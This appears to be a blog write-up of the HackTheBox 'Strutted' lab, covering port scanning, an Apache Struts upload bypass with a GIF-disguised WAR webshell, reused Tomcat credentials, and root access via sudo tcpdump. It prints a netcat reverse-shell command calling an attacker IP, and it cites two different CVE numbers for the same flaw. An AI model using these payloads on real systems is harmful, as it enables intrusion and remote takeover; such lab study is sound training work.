Introduction

In HackTheBox Strutted, we begin by identifying an Apache Struts vulnerability through enumeration. By crafting a malicious payload, we exploit this vulnerability to obtain a reverse shell, achieving initial access. Further enumeration reveals a misconfigured service or vulnerable software, which is then exploited to escalate privileges to the root user, successfully capturing the flag.

HackTheBox Strutted Description

HackTheBox `Strutted` is an medium-difficulty Linux machine featuring a website for a company offering image hosting solutions. The website provides a Docker container with the version of Apache Struts that is vulnerable to `[CVE-2024-53677](https://nvd.nist.gov/vuln/detail/CVE-2024-53677)`, which is leveraged to gain a foothold on the system. Further enumeration reveals the `tomcat-users.xml` file with a plaintext password used to authenticate as `james`. For privilege escalation, we abuse `tcpdump` while being used with `sudo` to create a copy of the `bash` binary with the `SUID` bit set, allowing us to gain a `root` shell.

Enumeration & Scanning

Starting with an Nmap scan

sudo nmap -sC -sV -p- --min-rate 10000 10.129.231.200 

-sC: Runs default scripts.

-sV: Enables version detection.

-p-: Scans all 65,535 ports.

--min-rate 10000: Ensures a fast scan by sending at least 10,000 packets per second.

Scan Results:

  • Host: 10.129.231.200 (Up, with 0.024s latency)
  • Closed Ports: 65,533 (reset)
  • Open Ports:
    • 22/tcp (SSH)
      • OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux)
      • SSH Hostkeys:
        • ECDSA: 3ea6454bc561d6f6e2d4d113b0a3da94f
        • ED25519: 64c257de4c6a5b473e3b1bcfb4e394
    • 80/tcp (HTTP)
      • nginx 1.18.0 (Ubuntu)
      • Server header: nginx/1.18.0 (Ubuntu)
      • HTTP Title: Did not follow redirect to http://strutted.htb/

Observations:

  • The system is running Ubuntu Linux with SSH and a web server (nginx 1.18.0).
  • The web server redirects traffic to http://strutted.htb/.
  • The host appears to be part of a Hack The Box (HTB) challenge, based on the .htb domain.
  • The CPE (Common Platform Enumeration) indicates it’s a Linux kernel-based system.

Web Enumeration

And we see the statement below the upload button:

We provide a Docker image that showcases the Strutted™ environment. Click the Download link on the menu to explore our Docker image to see how our platform is configured, and use it as a base template for your own projects.

You can hit that download button at the top and check it out.

Below is an exploration of the docker file content which shows that it’s running tomcat 9 with the only web application being Strutted, which is powered by Java 17.

cat Dockerfile  

FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted

WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

Next, we checked out tomcat-users, and while there was a password in there, I highly doubt it actually belongs to anyone.

> cat tomcat-users.xml  
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>

Uncovering The Vulnerability

Since the box is named Strutted, I’m guessing it relies heavily on Struts2. I’ll plug the version into Google and see what turns up.

After doing some research, we found out that Struts is responsible for handling the upload functionality. It turns out there’s a bug in the code that we can exploit to upload any file we want into a writable location on the box.

Before diving into that, we’ll first test the upload feature as intended.

We’ll start by uploading a GIF of Homer Simpson frolicking and intercept the request using BurpSuite to see what’s happening under the hood.

Headers: Indicating browser details (User-Agent), accepted content types, language preferences, encoding, cookies, and security-related settings.

Multipart Form Data: A section where the uploaded file is included in binary format.

Session Information: The request carries a session cookie (JSESSIONID=25F1F758B4A06EC2D2020E288496DE3D), likely for authentication or maintaining a session.

After the uplaod was successful, we found that the image is stored locally on the machine, which works in our favor. However, the downside is that the uploader exclusively accepts image files. Luckily, the vulnerability enables us to modify the filename before submission. We’ll attempt to use a polyglot to bypass the data restriction.

Exploitation | CVE-2023-50164

By modifying "upload" to "Upload" (capitalizing it), we can bypass the filename restriction by adding "uploadFileName" within a second boundary.

Next, We’ll forward the request using Burp Suite and check for success.

Now, we can upload a .war file into the Tomcat webapps directory. Since this vulnerability allows us to place files anywhere on the system, we can leverage this to deploy a malicious .war file.

We researched the malicious.war file and found an exploit script for CVE-2023-50164 that includes the necessary payload.

Cloning the Repository & Setting Up the Environment:

git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE.git
python3 -m venv struts
source ./struts/bin/activate
pip3 install -r requirements.txt

Since the script doesn’t account for image filters, I need to make some adjustments.

Open exploit.py for editing:

nano exploit.py

Update the NUMBER_OF_PARENTS_IN_PATH variable to 5, ensuring it correctly navigates the file structure:

File/<TimeStamp>/uploads/ROOT/webapps
  1. Append a polyglot string to the .war file data:
    • By adding "GIF89a;" at the beginning of the payload, I can trick the filter into recognizing the uploaded file as a valid GIF image.

With these modifications, I should be able to bypass the restrictions and execute the attack successfully.

war_file = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file = b"GIF89a;" + war_file_content

Finally, to complete the bypass, I need to modify the Content-Type and filename:

  1. Change the Content-Type from application/octet-stream to image/gif to align with the uploader’s expected format.
  2. Rename the filename to a .gif extension to ensure it passes validation.

Modify the request headers:

Content-Type: image/gif

Rename the file:

backdoor.gif
  • Forward the modified request.

At this point, the uploader should accept the file as a valid image while still preserving the .war payload inside. If everything works correctly, I’ll have successfully bypassed the restriction and placed the malicious file where I need it.

HTTP_UPLOAD_PARAM_NAME.capitalize(): ("backdoor.gif", war_file, "image/gif"),

Lastly run the exploit script

python3 exploit.py --url http://strutted.htb/upload.action

Linux Privilege Escalation

Grabbing the tomcat-users.xml file to retrieve credentials.

cat ./conf/tomcat-users.xml

#output

<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>

The admin user appears twice, once with a placeholder password and once with a real password (IT14d6SSP81k).

The robot user has a placeholder password and a manager-script role.

Roles manager-gui and admin-gui are explicitly defined.

The admin user with the real password has both manager-gui and admin-gui roles.

Since we have a password, we check if it has been reused by examining the passwd file for any matching users who might use the same credentials.

cat /etc/passwd

Next we log in as james

ssh james@strutted.htb

After successfully logging in, we check for sudo privileges:

sudo -l

The user james can execute /usr/sbin/tcpdumpwithout needing a password (NOPASSWD).(ALL): This means james can run tcpdump as any user on the system.

We have sudo access to tcpdump. To exploit this, We just need to create a simple Bash script that tcpdump can execute with elevated privileges according to GTFOBins.

First, we’ll create the script and make it executable:

echo $'id\nbusybox nc 10.10.12.222 4545 -e /bin/bash' > pwn
chmod +x pwn

Next is setting up a listener:

nc -lvnp 4545

Lastly , we just need to execute the command:

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z ./pwn -Z root

And this should do it.

You can also watch:

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles